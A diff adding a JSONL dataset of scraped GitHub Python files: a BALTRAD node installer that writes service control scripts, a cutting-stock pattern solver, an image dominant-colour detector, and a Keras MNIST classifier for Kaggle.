diff --git "a/3158.jsonl" "b/3158.jsonl" new file mode 100644--- /dev/null +++ "b/3158.jsonl" @@ -0,0 +1,794 @@ +{"seq_id":"21466959164","text":"from __future__ import print_function\nimport subprocess\nimport tempfile\nimport os, stat\n\n##\n# The node script wrapper\nclass nodescripts(object):\n _nodescript = None\n _initdscript = None\n _raveinitdscript = None\n _rcsource = None\n _path = None\n _ldlibrarypath = None\n _version = \"0.0.0\"\n _raveinstalled = False\n _subsystems = []\n \n ##\n # Constructor\n # \n def __init__(self, path, ldlibrarypath, version, raveinstalled=False, subsystems=[]):\n self._path = path\n self._ldlibrarypath = ldlibrarypath\n self._version = version\n self._nodescript = None\n self._initdscript = None\n self._raveinitdscript = None\n self._rcsource = None\n self._raveinstalled = raveinstalled\n self._subsystems = subsystems\n \n ##\n # Destructor that hopefully is called upon exit\n #\n def __del__(self):\n self._deletefile(self._nodescript)\n self._deletefile(self._initdscript)\n self._deletefile(self._raveinitdscript)\n self._deletefile(self._rcsource)\n\n ##\n # Tries to delete a specific file.\n # @param name: the name of the file to be removed\n #\n def _deletefile(self, name):\n try:\n if name != None and os.path.isfile(name):\n os.unlink(name)\n except:\n pass\n \n \n ##\n # Creates the scripts\n #\n def create_scripts(self, env):\n self._nodescript = self._create_bltnode_script(env)\n self._initdscript = self._create_initd_script(env)\n self._rcsource = self._create_bltnoderc_script(env)\n self._raveinitdscript = self._create_rave_initd_script(env)\n\n ##\n # Creates the blt node script\n # @param env: the build environment\n #\n def _create_bltnode_script(self, env):\n extras = {}\n extras[\"BALTRAD_NODE_VERSION\"] = self._version\n extras[\"LIBPATH\"] = env.expandArgs(\"%s\"%self._ldlibrarypath)\n extras[\"PPATH\"] = env.expandArgs(\"%s\"%self._path)\n extras[\"ACTIVATE_NODE\"] = \"yes\"\n extras[\"ACTIVATE_BDB\"] = \"yes\"\n extras[\"ACTIVATE_RAVE\"] = \"yes\"\n\n if len(self._subsystems) > 0:\n if \"RAVE\" not in self._subsystems and \"STANDALONE_RAVE\" not in self._subsystems or not self._raveinstalled:\n extras[\"ACTIVATE_RAVE\"] = \"no\"\n if \"DEX\" not in self._subsystems:\n extras[\"ACTIVATE_NODE\"] = \"no\"\n if \"BDB\" not in self._subsystems:\n extras[\"ACTIVATE_BDB\"] = \"no\"\n \n fpd, filename = tempfile.mkstemp(suffix=\".tmp\", prefix=\"bltnode\")\n\n ofp = os.fdopen(fpd, \"w\")\n ofp.write(env.expandArgs(\"\"\"\n#!/bin/sh\n# Autogenerated by baltrad-core/setup\n# Version: ${BALTRAD_NODE_VERSION}\n# Prefix: $PREFIX\n# DepPrefix: $TPREFIX\n\nexport JAVA_HOME=\"$JDKHOME\"\nexport CATALINA_HOME=\"$TPREFIX/tomcat\"\nexport ACTIVATE_RAVE=\"$ACTIVATE_RAVE\"\nexport ACTIVATE_NODE=\"$ACTIVATE_NODE\"\nexport ACTIVATE_BDB=\"$ACTIVATE_BDB\"\n\nif [ \"$${LD_LIBRARY_PATH}\" != \"\" ]; then\n export LD_LIBRARY_PATH=\"$LIBPATH:$${LD_LIBRARY_PATH}\"\nelse\n export LD_LIBRARY_PATH=\"$LIBPATH\"\nfi\n\nif [ \"$${PATH}\" != \"\" ]; then\n export PATH=\"$PPATH:$${PATH}\"\nelse\n export PATH=\"$PPATH\"\nfi\n\ncheck_status() {\n ENTRIES=`ps -edalf | grep tomcat | grep \"baltrad.node.startup.indicator\" | sed -e\"s/.*-Dbaltrad.node.startup.indicator=\\\\\"\\\\([^\\\\\"]*\\\\)\\\\\".*/\\\\1/g\"`\n for item in $$ENTRIES; do\n if [ \"$$item\" = \"$$CATALINA_HOME\" ]; then\n return 0\n fi\n done\n return 1\n}\n\nstart() {\n echo -n \"Starting baltrad-node...\"\n check_status\n if [ $$? -eq 0 ]; then\n echo \" already running...\"\n else\n \"$${CATALINA_HOME}/bin/startup.sh\" -Dbaltrad.node.startup.indicator=\\\\\\\\\\\\\"$${CATALINA_HOME}\\\\\\\\\\\\\"\n fi\n}\n\nstop() {\n echo \"Stopping baltrad-node...\"\n \"$${CATALINA_HOME}/bin/shutdown.sh\"\n}\n\nstatus() {\n check_status\n if [ $$? -eq 0 ]; then\n echo \"Running\"\n else\n echo \"Stopped\"\n fi\n}\n\ncheck_ravepgf_status() {\n RAVEPGFPROCESS=`$PREFIX/rave/bin/rave_pgf status`\n if [ \"$$RAVEPGFPROCESS\" = \"rave_pgf is not running\" ]; then\n return 1\n fi\n return 0\n}\n\nstart_ravepgf() {\n echo -n \"Starting rave-pgf...\"\n check_ravepgf_status\n if [ $$? -eq 0 ]; then\n echo \" already running...\"\n else\n \"$PREFIX/rave/bin/rave_pgf\" start\n echo \"\"\n fi\n}\n\nstop_ravepgf() {\n echo \"Stopping rave-pgf...\"\n \"$PREFIX/rave/bin/rave_pgf\" stop\n}\n\nstatus_ravepgf() {\n check_ravepgf_status\n if [ $$? -eq 0 ]; then\n echo \"Running\"\n else\n echo \"Stopped\"\n fi\n}\n\nget_bdb_pid() {\n local __resultvar=$$1\n local result=''\n\n if [ -f \"$PREFIX/etc/baltrad-bdb-server.pid\" ]; then\n result=`cat $PREFIX/etc/baltrad-bdb-server.pid`\n fi\n\n eval $$__resultvar=\"'$$result'\"\n}\n\ncheck_bdb_status() {\n get_bdb_pid pid\n if [ $$pid ]; then\n ps -p $$pid > /dev/null\n return $$?\n else\n return 1\n fi\n}\n\nstatus_bdb() {\n check_bdb_status\n if [ $$? -eq 0 ]; then\n echo \"Running\"\n else\n echo \"Stopped\"\n fi\n}\n\nstart_bdb() {\n echo -n \"Starting BDB...\"\n check_bdb_status\n if [ $$? -eq 0 ]; then\n echo \" already running\"\n else\n $PREFIX/baltrad-db/bin/baltrad-bdb-server \\\n --conf=$PREFIX/etc/bltnode.properties \\\n --pidfile=$PREFIX/etc/baltrad-bdb-server.pid \\\n --logfile=$PREFIX/baltrad-db/baltrad-bdb-server.log\n echo \"done\"\n fi\n}\n\nstop_bdb() {\n echo -n \"Stopping BDB...\"\n get_bdb_pid pid\n if [ $$pid ]; then\n kill $$pid 2&> /dev/null\n echo \"done\"\n else\n echo \"not running\"\n fi\n}\n\nprint_usage() {\n echo \"Usage: $$0 [options] {start|stop|status}\"\n echo \"Options: --ravepgf - only affect ravepgf\"\n echo \" --bdb - only affect BDB\"\n echo \" --all - affect all processes\"\n echo \"No options will result in only the node server to be managed\"\n}\n\nSTART_REQUEST=no\nSTOP_REQUEST=no\nSTATUS_REQUEST=no\nRAVEPGF_REQUEST=no\nBDB_REQUEST=no\nALL_REQUEST=no\n\n# See how we were called.\nfor arg in $$*; do\n case $$arg in\n start)\n START_REQUEST=yes\n ;;\n stop)\n STOP_REQUEST=yes\n ;;\n status)\n STATUS_REQUEST=yes\n ;;\n --ravepgf)\n RAVEPGF_REQUEST=yes\n ;;\n --bdb)\n BDB_REQUEST=yes\n ;;\n --all)\n ALL_REQUEST=yes\n ;;\n *)\n print_usage\n exit 1\n esac\ndone\n\nif [ \"$${ACTIVATE_RAVE}\" = \"no\" -a \"$${RAVEPGF_REQUEST}\" = \"yes\" ]; then\n echo \"RavePGF support not enabled!\"\n exit 1;\nfi\n\nif [ \"$${ACTIVATE_BDB}\" = \"no\" -a \"$${BDB_REQUEST}\" = \"yes\" ]; then\n echo \"BDB support not enabled!\"\n exit 1\nfi\n\nif [ \"$${ACTIVATE_NODE}\" = \"no\" -a \"$${RAVEPGF_REQUEST}\" = \"no\" -a \"$${BDB_REQUEST}\" = \"no\" -a \"$${ALL_REQUEST}\" = \"no\" ]; then\n echo \"NODE support not enabled!\"\n exit 1\nfi\n\nif [ \"$${START_REQUEST}\" = \"yes\" ]; then\n if [ \"$${RAVEPGF_REQUEST}\" = \"yes\" ]; then\n start_ravepgf\n elif [ \"$${BDB_REQUEST}\" = \"yes\" ]; then\n start_bdb\n elif [ \"$${ALL_REQUEST}\" = \"yes\" ]; then\n if [ \"$${ACTIVATE_BDB}\" = \"yes\" ]; then\n start_bdb\n fi\n if [ \"$${ACTIVATE_RAVE}\" = \"yes\" ]; then\n start_ravepgf\n fi\n if [ \"$${ACTIVATE_NODE}\" = \"yes\" ]; then\n start\n fi\n else\n start\n fi\nelif [ \"$${STOP_REQUEST}\" = \"yes\" ]; then\n if [ \"$${RAVEPGF_REQUEST}\" = \"yes\" ]; then\n stop_ravepgf\n elif [ \"$${BDB_REQUEST}\" = \"yes\" ]; then\n stop_bdb\n elif [ \"$${ALL_REQUEST}\" = \"yes\" ]; then\n if [ \"$${ACTIVATE_NODE}\" = \"yes\" ]; then\n stop\n fi\n if [ \"$${ACTIVATE_RAVE}\" = \"yes\" ]; then\n stop_ravepgf\n fi\n if [ \"$${ACTIVATE_BDB}\" = \"yes\" ]; then\n stop_bdb\n fi\n else\n stop\n fi\nelif [ \"$${STATUS_REQUEST}\" = \"yes\" ]; then\n if [ \"$${RAVEPGF_REQUEST}\" = \"yes\" ]; then\n echo -n \"Rave PGF: \"\n status_ravepgf\n elif [ \"$${BDB_REQUEST}\" = \"yes\" ]; then\n echo -n \"BDB: \"\n status_bdb\n elif [ \"$${ALL_REQUEST}\" = \"yes\" ]; then\n if [ \"$${ACTIVATE_NODE}\" = \"yes\" ]; then\n echo -n \"Node: \"\n status\n fi\n if [ \"$${ACTIVATE_RAVE}\" = \"yes\" ]; then\n echo -n \"Rave PGF: \"\n status_ravepgf\n fi\n if [ \"$${ACTIVATE_BDB}\" = \"yes\" ]; then\n echo -n \"BDB: \"\n status_bdb\n fi\n else\n echo -n \"Node: \"\n status\n fi\nelse\n print_usage\nfi\n\n\"\"\", extras))\n ofp.close()\n os.chmod(filename, stat.S_IRWXU|stat.S_IRGRP|stat.S_IXGRP|stat.S_IROTH|stat.S_IXOTH)\n return filename\n\n ##\n # @return: the temporary bltnode script file\n #\n def get_bltnode_script_path(self):\n return self._nodescript\n\n ##\n # Creates the init.d script\n # @param env: the build environment\n def _create_initd_script(self, env):\n fpd, filename = tempfile.mkstemp(suffix=\".tmp\", prefix=\"bltnode.init.d\")\n ofp = os.fdopen(fpd, \"w\")\n ofp.write(env.expandArgs(\"\"\"\n#!/bin/sh\n# Autogenerated by baltrad-core/setup\nNODEUSER=$RUNASUSER\n\nstart() {\n su - $$NODEUSER -c \"$PREFIX/bin/bltnode start\"\n}\n\nstop() {\n su - $$NODEUSER -c \"$PREFIX/bin/bltnode stop\"\n}\n\n# See how we were called.\ncase \"$$1\" in\n start)\n start\n ;;\n stop)\n stop\n ;;\n *)\n echo \"Usage: $$0 {start|stop}\"\n exit 1\nesac\n\"\"\"))\n ofp.close()\n os.chmod(filename, stat.S_IRWXU|stat.S_IRGRP|stat.S_IXGRP|stat.S_IROTH|stat.S_IXOTH)\n return filename\n\n ##\n # @return: the temporary init.d script file name\n #\n def get_initd_script_path(self):\n return self._initdscript\n\n ##\n # Creates the temporary rave init.d script file\n # @param env: the build environment\n #\n def _create_rave_initd_script(self, env):\n fpd, filename = tempfile.mkstemp(suffix=\".tmp\", prefix=\"ravepgf.init.d\")\n ofp = os.fdopen(fpd, \"w\")\n ofp.write(env.expandArgs(\"\"\"\n#!/bin/sh\n# Autogenerated by baltrad-core/setup\nNODEUSER=$RUNASUSER\n\nstart() {\n su - $$NODEUSER -c \"$PREFIX/bin/bltnode --ravepgf start\"\n}\n\nstop() {\n su - $$NODEUSER -c \"$PREFIX/bin/bltnode --ravepgf stop\"\n}\n\n# See how we were called.\ncase \"$$1\" in\n start)\n start\n ;;\n stop)\n stop\n ;;\n *)\n echo \"Usage: $$0 {start|stop}\"\n exit 1\nesac\n\"\"\"))\n ofp.close()\n os.chmod(filename, stat.S_IRWXU|stat.S_IRGRP|stat.S_IXGRP|stat.S_IROTH|stat.S_IXOTH)\n return filename\n \n ##\n # @return: the temporary rave init.d script file name\n #\n def get_rave_initd_script_path(self):\n return self._raveinitdscript\n\n ##\n # Generates the resource file.\n # @param env: the build environment\n #\n def _create_bltnoderc_script(self, env):\n extras = {}\n extras[\"BALTRAD_NODE_VERSION\"] = self._version\n extras[\"LIBPATH\"] = env.expandArgs(\"%s\"%self._ldlibrarypath)\n extras[\"PPATH\"] = env.expandArgs(\"%s\"%self._path)\n \n fpd, filename = tempfile.mkstemp(suffix=\".tmp\", prefix=\"bltnode.rc\")\n ofp = os.fdopen(fpd, \"w\")\n ofp.write(env.expandArgs(\"\"\"\n# Autogenerated by baltrad-core/setup\n# Version: ${BALTRAD_NODE_VERSION}\n# Prefix: $PREFIX\n# DepPrefix: $TPREFIX\n\nif [ \"$${LD_LIBRARY_PATH}\" != \"\" ]; then\n export LD_LIBRARY_PATH=\"$LIBPATH:$${LD_LIBRARY_PATH}\"\nelse\n export LD_LIBRARY_PATH=\"$LIBPATH\"\nfi\nexport JAVA_HOME=\"${JDKHOME}\"\nexport CATALINA_HOME=\"$TPREFIX/tomcat\"\nif [ \"$${PATH}\" != \"\" ]; then\n export PATH=\"$PPATH:$${PATH}\"\nelse\n export PATH=\"$PPATH\"\nfi\n\n\"\"\", extras))\n ofp.close()\n os.chmod(filename, stat.S_IRWXU|stat.S_IRGRP|stat.S_IXGRP|stat.S_IROTH|stat.S_IXOTH)\n return filename\n\n ##\n # @return: the temporary resource file path name\n #\n def get_node_source_path(self):\n return self._rcsource\n\n ##\n # Uses the script to identify if the node (tomcat) is running\n # @return: True if it is running, otherwise False\n #\n def _isNodeRunning(self):\n status = subprocess.Popen(\"%s status\"%self._nodescript, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,shell=True).communicate()[0]\n if status.decode('utf-8').find(\"Node: Running\") >= 0:\n return True\n return False\n\n ##\n # Uses the script to identify if the rave pgf is running\n # @return: True if it is running, otherwise False\n # \n def _isRaveRunning(self):\n status = subprocess.Popen(\"%s --ravepgf status\"%self._nodescript, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,shell=True).communicate()[0]\n if status.decode('utf-8').find(\"Rave PGF: Running\") >= 0:\n return True\n return False \n\n ##\n # Waits for the node to stop. A stop request should have been issued\n # prior to this method is called.\n # @param msg: A message to show that it is waiting\n # @param sec: how many seconds to wait\n # \n # @return: True if the node has been stopped, otherwise False\n # \n def _waitForNodeStop(self, msg, sec):\n import time, sys\n \n print(msg)\n \n for i in range(sec):\n if self._isNodeRunning():\n print(\".\",end='')\n sys.stdout.flush()\n time.sleep(1)\n else:\n print(\"\")\n return True\n print(\"\")\n return False\n\n ##\n # Waits for the rave pgf to stop. A stop request should have been issued\n # prior to this method is called.\n # @param msg: A message to show that it is waiting\n # @param sec: how many seconds to wait\n # \n # @return: True if the rave pgf has been stopped, otherwise False\n # \n def _waitForRaveStop(self, msg, sec):\n import time, sys\n \n print(msg)\n \n for i in range(sec):\n if self._isRaveRunning():\n print(\".\",end='')\n sys.stdout.flush()\n time.sleep(1)\n else:\n print(\"\")\n return True\n print(\"\")\n return False\n\n ##\n # Starts the requested functions.\n # @param node: if node should be started\n # @param rave: if rave pgf should be started\n #\n def start(self, node=False, rave=False):\n import time\n\n if node and not self._isNodeRunning():\n ocode = subprocess.call(\"%s start\"%(self._nodescript), shell=True)\n if ocode != 0:\n raise Exception(\"Failed to start node\")\n time.sleep(2) \n\n if rave and self._raveinstalled and not self._isRaveRunning():\n ocode = subprocess.call(\"%s --ravepgf start\"%(self._nodescript), shell=True)\n if ocode != 0:\n raise Exception(\"Failed to start rave\")\n\n ##\n # Stops the requested functions.\n # @param node: if node should be stopped\n # @param rave: if rave pgf should be stopped\n # \n def stop(self, node=False, rave=False):\n if node and self._isNodeRunning():\n ocode = subprocess.call(\"%s stop\"%(self._nodescript),shell=True)\n if ocode != 0:\n raise Exception(\"Failed to stop node\")\n \n if not self._waitForNodeStop(\"Waiting for node to stop\", 10):\n raise Exception(\"Failed to stop node\")\n \n if rave and self._raveinstalled and self._isRaveRunning():\n ocode = subprocess.call(\"%s --ravepgf stop\"%(self._nodescript),shell=True)\n if ocode != 0:\n raise Exception(\"Failed to stop rave\")\n \n if not self._waitForRaveStop(\"Waiting for rave to stop\", 10):\n raise Exception(\"Failed to stop rave\")\n\n ##\n # Restarts the requested functions.\n # @param node: if node should be restarted\n # @param rave: if rave pgf should be restarted\n # \n def restart(self, node=False, rave=False):\n self.stop(node, rave)\n self.start(node, rave)\n \n","repo_name":"baltrad/node-installer","sub_path":"src/nodescripts.py","file_name":"nodescripts.py","file_ext":"py","file_size_in_byte":14625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33496733490","text":"from seed_class import seed\r\nfrom DynamicProgrammingAlgorithm import DynamicCuttingStock as DynamicBinPack\r\n#from BinPacking import BinPacking as BinPacking\r\nfrom extract import ProcessExtraction\r\nimport time\r\n\r\nclass CuttingStockProblem():\r\n def __init__(self, Solution, StripSize, runTime):\r\n \"\"\"\r\n The problem with all the inputs. This needs to be called before anything else can happen, and all solving is done\r\n as functions within this class.\r\n :param Solution: The initial solution, from which we will be finding reductions.\r\n :param StripSize: The maximum strip size allowed in the problem.\r\n :param runTime: The maximum run time allowed to find reductions.\r\n \"\"\"\r\n self.TimeSpentBinPacking = 0\r\n self.TimeSpentKnapSack = 0\r\n self.TimeSpentOther = 0\r\n\r\n self.StartTime = 0\r\n self.LastCheck = 0\r\n self.MaxRunTime = runTime\r\n\r\n self.StripSize = StripSize\r\n self.BaseNode = seed(Solution, None, None, 0, StripSize, self)\r\n self.Nodes = [self.BaseNode]\r\n self.NodesToExamineStack = [self.BaseNode]\r\n\r\n self.BestSolution = Solution\r\n self.BestWaste = self.CalculateWaste(Solution)\r\n self.BestStrips = self.CalculateStrips(Solution)\r\n self.PrintCurrentSolution()\r\n\r\n def TimeSelf(self, Timer):\r\n \"\"\"\r\n Timing function.\r\n :param Timer: The timer to add the time to. This coulg be any of the three timers which are maintained\r\n during the program.\r\n :return: The new value of the timer\r\n \"\"\"\r\n Timer += time.clock() - self.LastCheck\r\n self.LastCheck = time.clock()\r\n return Timer\r\n\r\n def PrintTimes(self):\r\n \"\"\"\r\n Prints all the times taken by the program. Called at the end usually.\r\n :return: None\r\n \"\"\"\r\n print('Time spent bin packing: ' + str(self.TimeSpentBinPacking))\r\n print('Time spent knapsack: ' + str(self.TimeSpentKnapSack))\r\n print('Time spent other: ' + str(self.TimeSpentOther))\r\n print('Time spent: ' + str(time.clock() - self.StartTime))\r\n\r\n def SolveCuttingStock(self):\r\n \"\"\"\r\n The overall process by which the cutting stock is solved.\r\n Each node in the tree is examined in turn, until the max runtime is reached.\r\n :return: The best solution found, as well as the waste of this solution and the number of master strips used.\r\n \"\"\"\r\n self.StartTime = time.clock()\r\n\r\n Halt = False\r\n while not Halt:\r\n while len(self.NodesToExamineStack) > 0:\r\n # print(NodesToExamineStack[len(NodesToExamineStack) - 1].bins)\r\n self.ExamineNode(self.NodesToExamineStack.pop(len(self.NodesToExamineStack) - 1))\r\n if self.MaxRunTime < (time.clock() - self.StartTime):\r\n break\r\n if self.MaxRunTime < (time.clock() - self.StartTime):\r\n break\r\n for node in self.Nodes:\r\n self.ExamineNode(node)\r\n\r\n if len(self.NodesToExamineStack) == 0:\r\n Halt = True\r\n\r\n return [self.BestSolution, 100 * self.BestWaste, self.BestStrips]\r\n\r\n def ExamineNode(self, Node):\r\n \"\"\"\r\n Examines a node, finding 10 children from that name, and adding them to the stack of nodes to be examined.\r\n :param Node: The node to examine.\r\n :return: None\r\n \"\"\"\r\n for i in range(10):\r\n NewNode = Node.getChild()\r\n if NewNode is not None:\r\n if not self.IgnoreNewNode(NewNode):\r\n self.Nodes.append(NewNode)\r\n self.NodesToExamineStack.append(NewNode)\r\n else:\r\n i -= 1\r\n else:\r\n if i == 0:\r\n Solution = self.CompileSolution(Node)\r\n if self.UpdateSolution(Solution):\r\n self.PrintCurrentSolution()\r\n break\r\n\r\n def IgnoreNewNode(self, NewNode):\r\n \"\"\"\r\n Checks whether a new node should be ignored.\r\n Currently this only happens if the new node has more strips in its seed pattern than the best found so far +1.\r\n Given further development, this is one of the aspects that should be looked into in greater detail.\r\n :param NewNode: The node to check\r\n :return: True if the node should be ignored, false otherwise.\r\n \"\"\"\r\n NodeSeed = NewNode.structure\r\n Parent = NewNode.parent\r\n\r\n while Parent is not None: #Checks to see if any of the parents of the node have the same seed pattern as the new node.\r\n if NodeSeed == Parent.structure:\r\n return True\r\n else:\r\n Parent = Parent.parent\r\n\r\n Solution = self.CompileSolution(NewNode)\r\n if self.CalculateStrips(Solution) > self.BestStrips + 1:\r\n return True\r\n #if self.CalculateWaste(Solution) > self.BestWaste:\r\n #return True\r\n\r\n return False\r\n\r\n def UpdateSolution(self, Solution):\r\n \"\"\"\r\n Checks whether the solution is the best solution found so far.\r\n :param Solution: The solution to check.\r\n :return: True if the new solkution is better, false if not.\r\n \"\"\"\r\n newWaste = self.CalculateWaste(Solution)\r\n newStrips = self.CalculateStrips(Solution)\r\n\r\n if newStrips < self.BestStrips:\r\n self.BestSolution = Solution\r\n self.BestWaste = newWaste\r\n self.BestStrips = newStrips\r\n return True\r\n elif newStrips == self.BestStrips:\r\n if newWaste < self.BestWaste:\r\n self.BestSolution = Solution\r\n self.BestWaste = newWaste\r\n self.BestStrips = newStrips\r\n return True\r\n print('Solution: ' + str(Solution))\r\n print('Waste: ' + str(100 * newWaste) + '%')\r\n print('MasterStrips: ' + str(newStrips))\r\n print('---------- Solution rejected')\r\n return False\r\n\r\n def PrintCurrentSolution(self):\r\n \"\"\"\r\n Prints the current best solution.\r\n :return: None\r\n \"\"\"\r\n print('Solution: ' + str(self.BestSolution))\r\n print('Waste: ' + str(100 * self.BestWaste) + '%')\r\n print('MasterStrips: ' + str(self.BestStrips))\r\n print('---------- Best solution')\r\n\r\n def CalculateWaste(self, Solution):\r\n \"\"\"\r\n Calculates the amount of waste in a certain solution.\r\n :param Solution: The solution to check\r\n :return: The amount of waste in the solution (returned as a float between 0 and 1.)\r\n \"\"\"\r\n totalUse = 0\r\n nStrips = 0\r\n for strip in Solution:\r\n nStrips += Solution[strip]['amount']\r\n for size in Solution[strip]['strip']:\r\n totalUse += size*Solution[strip]['amount']\r\n return 1 - totalUse/(nStrips*self.StripSize)\r\n\r\n def CalculateStrips(self, Solution):\r\n \"\"\"\r\n Calculates the number of master strips used in a solution.\r\n :param Solution: The solution to check\r\n :return: The amount of master strips used.\r\n \"\"\"\r\n nStrips = 0\r\n for strip in Solution:\r\n nStrips += 1\r\n\r\n return nStrips\r\n\r\n def CompileSolution(self, Node):\r\n \"\"\"\r\n Finds all the seed patterns of the parents of the node and compiles them into a solution.\r\n :param Node: The node to compile the solution from.\r\n :return: The solution\r\n \"\"\"\r\n Solution = {}\r\n\r\n for bin in Node.bins:\r\n try:\r\n Solution[str(bin)][Node.bins[bin]['amount']] += Node.bins[bin]['amount']\r\n except KeyError:\r\n Solution[str(bin)] = {'amount': Node.bins[bin]['amount'], 'strip': Node.bins[bin]['strip']}\r\n\r\n while Node.parent is not None:\r\n try:\r\n Solution[str(Node.structure)]['amount'] += Node.amount\r\n except KeyError:\r\n Solution[str(Node.structure)] = {'amount': Node.amount, 'strip': Node.structure}\r\n Node = Node.parent\r\n return Solution\r\n\r\ndef RemultiplySolution(Solution, SizeMultiplier):\r\n \"\"\"\r\n Multiplies all the sizes in the solution by the multiplier originally divided by.\r\n :param Solution: Solution to multiply\r\n :param SizeMultiplier: Multiplier\r\n :return: The multiplied solution\r\n \"\"\"\r\n MultipliedSolution = {}\r\n for strip in Solution:\r\n numbers = strip.strip('[')\r\n numbers = numbers.strip(']')\r\n numbers = numbers.split(', ')\r\n for i in range(len(numbers)):\r\n numbers[i] = int(numbers[i])*SizeMultiplier\r\n MultipliedSolution[str(numbers)] = {'amount':Solution[strip]['amount'], 'strip':[]}\r\n for i in Solution[strip]['strip']:\r\n MultipliedSolution[str(numbers)]['strip'].append(i*SizeMultiplier)\r\n return MultipliedSolution\r\n\r\ndef RunTestData(file_num, runTime):\r\n \"\"\"\r\n Runs some test data, prints the results.\r\n :param file_num: The data to run\r\n :param runTime: The time to run it for\r\n :return: None\r\n \"\"\"\r\n TestData = ProcessExtraction(file_num)\r\n Strips = TestData[2]\r\n StripSize = TestData[0]\r\n SizeMult = TestData[1]\r\n\r\n Problem = CuttingStockProblem(Strips, StripSize, runTime)\r\n Solution = Problem.SolveCuttingStock()\r\n Solution[0] = RemultiplySolution(Solution[0], SizeMult)\r\n print('Strips: ' + str(Solution[0]))\r\n print('Waste: ' + str(Solution[1]) + '%')\r\n print('NStrips used: ' + str(Solution[2]))\r\n\r\n Problem.PrintTimes()\r\n\r\nif __name__ == '__main__':\r\n #StripSize = 560\r\n #Sizes = {138:22, 152:25, 156:12, 171:14, 182:18, 188:18, 193:20, 200:10, 205:12, 210:14, 214:16, 215:18, 220:20}\r\n #StripSize = 10\r\n #Sizes = [3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5]\r\n #StripSize = 10\r\n #Sizes = {2:15, 3:10, 5:8}\r\n\r\n #Sizes = BinPacking(Sizes, StripSize, False)\r\n RunTestData('00001', 30)\r\n\r\n","repo_name":"Chaoat/CS-pattern-reduction","sub_path":"CuttingStock.py","file_name":"CuttingStock.py","file_ext":"py","file_size_in_byte":10085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27578219702","text":"from __future__ import print_function\nimport binascii\nfrom PIL import Image\nimport numpy as np\nimport scipy\nimport scipy.misc\nimport scipy.cluster\nfrom math import sqrt\n\nNUM_CLUSTERS = 5\nCOLORS = (\n (244, 67, 54), # red\n (255, 235, 59), # yellow\n (255, 152, 0), # orange / you can add as many color here\n\n)\n\n\ndef closest_color(rgb):\n r, g, b = rgb\n color_diffs = []\n for color in COLORS:\n cr, cg, cb = color\n color_diff = sqrt((r - cr) ** 2 + (g - cg) ** 2 + (b - cb) ** 2)\n color_diffs.append((color_diff, color))\n return min(color_diffs)[1]\n\n\ndef get_dominant_color(path):\n im = Image.open(path)\n im = im.resize((150, 150)) # optional, to reduce time\n ar = np.asarray(im)\n shape = ar.shape\n ar = ar.reshape(scipy.product(shape[:2]), shape[2]).astype(float)\n\n codes, dist = scipy.cluster.vq.kmeans(ar, NUM_CLUSTERS)\n print('cluster centres:\\n', codes)\n\n vecs, dist = scipy.cluster.vq.vq(ar, codes) # assign codes\n counts, bins = scipy.histogram(vecs, len(codes)) # count occurrences\n\n index_max = scipy.argmax(counts) # find most frequent\n peak = codes[index_max]\n colour = binascii.hexlify(bytearray(int(c) for c in peak)).decode('ascii')\n rgb_color = tuple(int(colour[i:i + 2], 16) for i in (0, 2, 4))\n\n cl_color = closest_color(rgb_color)\n\n return cl_color\n\n\n#print(get_dominant_color('Test/test_image2.png'))\n","repo_name":"Niko98108/object-identify","sub_path":"Backend/color_detector.py","file_name":"color_detector.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43268803921","text":"from __future__ import print_function\nimport pandas as pd\nimport numpy as np\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\n\nbatch_size = 128\nnum_classes = 10\nepochs = 12\n\n# input image dimensions\nimg_rows, img_cols = 28, 28\n\ntrain = pd.read_csv('C:\\\\Users\\\\jowet\\\\Downloads\\\\kaggle\\\\digit_recognizer\\\\train.csv')\ntest = pd.read_csv('C:\\\\Users\\\\jowet\\\\Downloads\\\\kaggle\\\\digit_recognizer\\\\test.csv')\n\nx_train = train.drop(['label'], axis=1).as_matrix()\ny_train = train['label'].as_matrix()\nx_test = test.as_matrix()\n\nprint(x_train.shape)\nprint(y_train.shape)\nprint(x_test.shape)\n\nif K.image_data_format() == 'channels_first':\n x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)\n x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\n input_shape = (1, img_rows, img_cols)\nelse:\n x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)\n x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\n input_shape = (img_rows, img_cols, 1)\n\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train /= 255\nx_test /= 255\nprint('x_train shape:', x_train.shape)\nprint(x_train.shape[0], 'train samples')\nprint(x_test.shape[0], 'test samples')\n\n# convert class vectors to binary class matrices\ny_train = keras.utils.to_categorical(y_train, num_classes)\n\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3),\n activation='relu',\n input_shape=input_shape))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\n\nmodel.compile(loss=keras.losses.categorical_crossentropy,\n optimizer=keras.optimizers.Adadelta(),\n metrics=['accuracy'])\n\nmodel.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1)\nresult = model.predict(x_test, verbose=0)\n\npredict = np.argmax(result, axis=1)\nsub_df = pd.DataFrame({\"ImageId\": range(1, len(predict) + 1)})\nsub_df[\"Label\"] = predict\nsub_df.to_csv(\"predict.csv\", index=False)\n","repo_name":"mengli/MachineLearning","sub_path":"kaggle/DigitalRecognizer/digital_recognizer.py","file_name":"digital_recognizer.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"31"} 